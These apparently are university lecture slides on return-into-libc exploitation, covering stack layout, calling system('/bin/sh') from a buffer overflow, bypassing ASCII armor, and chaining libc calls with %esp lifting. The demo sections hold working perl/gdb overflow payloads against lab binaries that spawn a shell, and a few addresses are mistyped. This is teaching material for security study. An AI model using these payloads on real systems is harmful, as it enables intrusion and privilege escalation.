

Return into libc

TOOR - Computer Security

Hallgrímur H. Gunnarsson

Reykjavík University

2012-05-02

Introduction

Stack overflows became popular following the release of aleph1's paper in 1996 ("*Smashing the stack for fun and profit*")

The classic stack overflow attack injects code on the stack and overwrites the return address with the address of the code on the stack.

The non-executable stack was introduced as a defensive measure after stack overflows became popular

Return-into-libc was introduced as a new exploitation technique to overcome the non-executable stack

In general, the focus has shifted towards code re-use attacks.

Overview - What we will cover today

Code re-use techniques:

- Return into libc
- Return oriented programming (on friday)

Today we will look at return into libc:

- Classic return into libc
- Chaining return into libc calls
- %esp lifting

Return into libc

Let's review the C calling convention.

Before making a call, the caller pushes the arguments on the stack.

It then executes a call instruction, passing control over to the called function.

What does the call stack look like right after the call instruction?



`%ebp` contains the beginning of the old stack frame

Return into libc

The prologue usually sets up `%ebp` (and pushes the old one).

After the prologue the call stack looks like this:



`%ebp` remains constant throughout the function, and we can reference the passed arguments via:

- `arg1: 8(%ebp)`
- `arg2: 12(%ebp)`
- `arg3: 16(%ebp)`
- and so on

Return into libc

Before epilogue:



```
leave  # movl %ebp,%esp;    esp = ebp;  
       # popl %ebp;        ebp = *esp; esp += 4;
```

Now %ebp contains the old EBP value (from the stack)

Call stack right before ret:



Return into libc

What happens if the overwrite the return address with the code address of an existing function?

The prologue sets up `%ebp` based on the current `%esp`

```
push    %ebp  
mov     %esp,%ebp
```



Then it expects its arguments to be:

- arg1: 8(%ebp)
- arg2: 12(%ebp)
- arg3: 16(%ebp)
- and so on

Return into libc

The C library is memory mapped into each process and contains many interesting functions, e.g. `system`, `execve`, `execl`, etc.

One approach:

- Find an interesting function in the C library
- Prepare arguments on the stack
- Overwrite return address with the address of a libc function


Assumption: libc is mapped at a known fixed address in memory

Let's look at `system()`. It takes a single parameter, a pointer to a string, and executes it as a shell command

Example: `system("/bin/sh")`

Prepare the stack

Right before `ret`, we want our stack to look like this:



Why do we put AAAA there in between?


Prepare the stack

We jumped into `system()` via `ret` – not `call`

`call` pushes the return address (`%eip + 1`) onto the stack

`ret` does not push the EIP. So we need to adjust for that.

As a result, when we enter `system()` and finish the prologue, the stack looks like this:



Next problem: how can we locate a `"/bin/sh"` string?

Prepare the stack

Problem: how can we get an address to a `"/bin/sh"` string?

Few approaches:


- Place it in a buffer on the stack and guess the address
- Locate `"/bin/sh"` at a fixed memory address
- Re-use a pointer from the stack (depends on the program)

Prepare the stack

Problem: how can we locate a `"/bin/sh"` string?

First approach:

- Place it in a buffer on the stack and guess the address



Assumptions:

- Non-randomized stack
- Requires control over a buffer on the stack
- (We can place it in ENV if we have local access.)
- Must guess the address exactly (or do we?)

Demo

```
$ export EXEC=$(perl -e 'print "/" x 1024 . "/bin/sh"')
$ gdb ./overflow2
...
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb7790 <system>
(gdb) p/x getenv("EXEC")
$3 = 0xbffff605
(gdb) run $(perl -e 'print "A" x 1575')
    $(perl -e 'print
        "\xff\xff\xff\xbf"      # old ebp
        . "\x90\x77\xeb\xbf"    # retaddr, system()
        . "BBBB"                # new retaddr
        . "\x05\xf6\xff\xbf"')"
```

Starting program: ...

U WRAITES 1610 BAITES

sh-3.2\$

Prepare the stack

Problem: how can we locate a `"/bin/sh"` string?

Second approach:

- Locate `"/bin/sh"` at a fixed memory address

Our assumption is that `libc` is mapped at a known fixed address

Why not look for `"/bin/sh"` in `libc`?

```
$ ./findshell # look for "/bin/sh" in libc
found shell at 0xb7fb8593
$ gdb ./overflow2
...
(gdb) x/s 0xb7fb8593
0xb7fb8593:  "/bin/sh"
(gdb)
```

Assumption: libc is mapped at a given fixed address

Within libc we have:

- `system()` at fixed address `0xb7eb7790`
- `"/bin/sh"` at fixed address `0xb7fb8593`

```
(gdb) run $(perl -e 'print "A" x 1575')
      $(perl -e 'print
        "\xff\xff\xff\xbf"          # old ebp
        . "\x90\x77\xeb\x7"         # retaddr, system()
        . "BBBB"                    # new retaddr
        . "\x93\x85\xfb\x7"' )      # "/bin/sh" in libc
```

Starting program: ...

U WRAITES 1610 BAITES

sh-3.2\$

Prepare the stack

Problem: how can we locate a `"/bin/sh"` string?

Third approach:

- Re-use a pointer from the stack (depends on the program)

Let's take an example – `overflow2` from `shell-lab`.

We had an overflow in the following function:

```
void lolcat(char *arg, char *meow)
```

Let's look at the stack right before `ret` in `lolcat()`:



Any ideas?

Prepare the stack


Problem: how can we locate a `"/bin/sh"` string?

Third approach:

- Re-use a pointer from the stack (depends on the program)


Let's only overwrite the return address, no more.

Call stack right before `ret` from `lolcat`:



Demo

Call stack right before ret from lolcat:



```
(gdb) run $(perl -e 'print "A" x 1567')
      $(perl -e 'print
        "/bin/sh;      "          # put "/bin/sh" in meow
        . "\x90\x77\xeb\xb7"' )  # retaddr, system()
```

```
Starting program: ...
U WRAITES 1602 BAITES
sh-3.2$
```

ASCII armor

Remember: `strcpy()` stops copying when it encounters `\0`

One defensive mechanism against return-to-libc is to include a null-byte in all libc addresses (so called "ASCII armor")

On skel, all libc addresses start with a null-byte:

```
(gdb) p system
```

```
$1 = {<text variable>} 0x0076b5b0 <system>
```

What can we do now?




ASCII armor

```
(gdb) p system
```

```
$1 = {<text variable>} 0x0076b5b0 <system>
```

On little-endian (x86) systems the address will be stored as:

b0 b5 76 00



```
[hhg@skel overflow]$ ./attackme2 `perl -e 'print "A" x 1587'`  
`perl -e 'print  
"/bin/sh;"  
. "\xb0\xb5\x76"'`
```

```
U WRAITES 1617 BAITES  
sh-4.1$
```


Chaining

We might need to make more than one call to exploit the program

Example: `setuid(0); system("/bin/sh");`

How can we chain calls into libc?

Because both `setuid()` and `system()` expect just one argument we could chain them like this:



Chaining

A more general method is to use %esp lifting.

We locate instructions in the code that manipulates the stack and returns, e.g.

```
pop %ebx  
pop %ebp  
ret
```

Then we arrange the stack as follows:

			0(%esp)	4(%esp)	8(%esp)	12(%esp)	16(%esp)	20(%esp)
			&setuid	retaddr	0	&system	&exit	"/bin/sh"

What sequence of instructions would we want to execute when we jump to retaddr1 and retaddr2 ?

Questions

Questions?